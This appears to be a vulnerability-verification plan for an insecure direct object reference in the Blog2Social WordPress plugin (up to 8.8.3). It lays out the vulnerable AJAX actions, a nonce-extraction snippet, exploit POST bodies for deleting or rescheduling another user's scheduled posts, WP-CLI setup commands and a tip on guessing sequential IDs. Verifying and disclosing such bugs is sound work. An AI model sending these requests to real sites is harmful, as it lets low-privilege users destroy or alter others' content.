Blog2Social: Social Media Auto Post & Scheduler <= 8.8.3 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Post Schedule Modification via 'b2s_id' Parameter

This research plan outlines the steps to verify an Insecure Direct Object Reference (IDOR) vulnerability in the Blog2Social plugin, which allows a Subscriber-level user to modify or delete scheduled social media posts belonging to other users.

1. Vulnerability Summary

• Vulnerability: Authenticated (Subscriber+) IDOR to Arbitrary Post Schedule Modification/Deletion.
• IDOR Target: The b2s_id (or postId) parameter in multiple AJAX handlers.
• Root Cause: The plugin's AJAX handlers (specifically those handling UPDATE and DELETE operations on scheduled posts) verify that a nonce is present but fail to check if the current user has ownership or management permissions over the specific record identified by the ID parameter.
• Affected Actions (Inferred from Source):
  • b2s_delete_user_cc_draft_post (Verified in curation.draft.js)
  • b2s_re_post_submit (Verified in repost.js)
  • b2s_save_details (Likely endpoint for schedule modification)

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Authentication: Subscriber level or higher.
• Parameters:
  • action: b2s_delete_user_cc_draft_post (Delete) or b2s_re_post_submit (Modify).
  • postId or b2s_id: The ID of the targeted scheduled post.
  • b2s_security_nonce: A valid security nonce.
• Precondition: A scheduled post must exist in the wp_b2s_posts database table (created by an Administrator).

3. Code Flow (Trace)

1. Client-Side Trigger: In assets/js/b2s/curation.draft.js, a click on .b2s-delete-cc-draft-confirm-btn triggers an AJAX request.
2. Request Construction:

   jQuery.ajax({
       url: ajaxurl,
       type: "POST",
       data: {
           'action': 'b2s_delete_user_cc_draft_post',
           'postId': jQuery('#b2s-delete-confirm-post-id').val(), // User-controlled ID
           'b2s_security_nonce': jQuery('#b2s_security_nonce').val()
       },
       // ...
   });
   

3. Server-Side Processing (Vulnerable Logic):
   • The PHP handler for wp_ajax_b2s_delete_user_cc_draft_post is called.
   • It checks check_ajax_referer('b2s-security-nonce', 'b2s_security_nonce').
   • It retrieves $_POST['postId'].
   • It performs a SQL DELETE query: DELETE FROM {$wpdb->prefix}b2s_posts WHERE id = %d without appending AND user_id = %d.

4. Nonce Acquisition Strategy

The nonce is localized to an input field #b2s_security_nonce or a JS variable.

1. Create a Subscriber User: Use WP-CLI to create a Subscriber.
2. Access B2S Context: Navigate to any Blog2Social admin page. Even if the menu is hidden for Subscribers, some plugins enqueue their scripts/nonces globally or on the Profile page.
3. Check Access: Test if a Subscriber can access wp-admin/admin.php?page=blog2social-dashboard.
4. Extract Nonce:
   • Navigate to the Dashboard.
   • Use browser_eval to extract the value:
     browser_eval("document.getElementById('b2s_security_nonce')?.value || window.b2s_security_nonce")

5. Exploitation Strategy

Step 1: Target Identification

Identify the ID of a scheduled post created by the Admin. In a real attack, these IDs are typically sequential. For PoC, we will query the DB.

Step 2: Unauthorized Deletion

Perform a POST request as the Subscriber to delete the Admin's post.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=b2s_delete_user_cc_draft_post&postId=[VICTIM_POST_ID]&b2s_security_nonce=[EXTRACTED_NONCE]
  

Step 3: Unauthorized Modification (Reschedule)

• Action: b2s_re_post_submit
• Body:

  action=b2s_re_post_submit&b2s_id=[VICTIM_POST_ID]&b2s_security_nonce=[EXTRACTED_NONCE]&...[OTHER_REQUIRED_FIELDS]
  

  (Note: Modification might require more parameters found in the serialized form in repost.js).

6. Test Data Setup

1. Victim Post: Create a scheduled post entry for the Administrator (User ID 1).

   wp db query "INSERT INTO wp_b2s_posts (user_id, post_title, status, type) VALUES (1, 'Admin Scheduled Post', 0, 'cc_draft')"
   # Note the ID returned
   

2. Attacker User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

7. Expected Results

• Deletion: The AJAX response should return {"result": true, "postId": "[VICTIM_POST_ID]"} (based on curation.draft.js success handler).
• Database Change: The record with the victim's ID should be removed from the wp_b2s_posts table despite the request being sent by a Subscriber.

8. Verification Steps

1. Check Database:

   wp db query "SELECT * FROM wp_b2s_posts WHERE post_title = 'Admin Scheduled Post'"
   

   Success Criteria: The query returns no results.
2. Check Audit Logs (if any): Verify no permission errors were thrown.

9. Alternative Approaches

If b2s_delete_user_cc_draft_post requires specific "CC Draft" status, try the main rescheduling action:

• Action: b2s_save_details
• Parameter: b2s_id
• Target: Use sequential ID guessing if the Victim ID isn't known.
• Capability Check: If admin.php?page=blog2social-dashboard is blocked, check wp-admin/profile.php to see if b2s_security_nonce is enqueued there. Many B2S versions enqueued assets on all admin pages.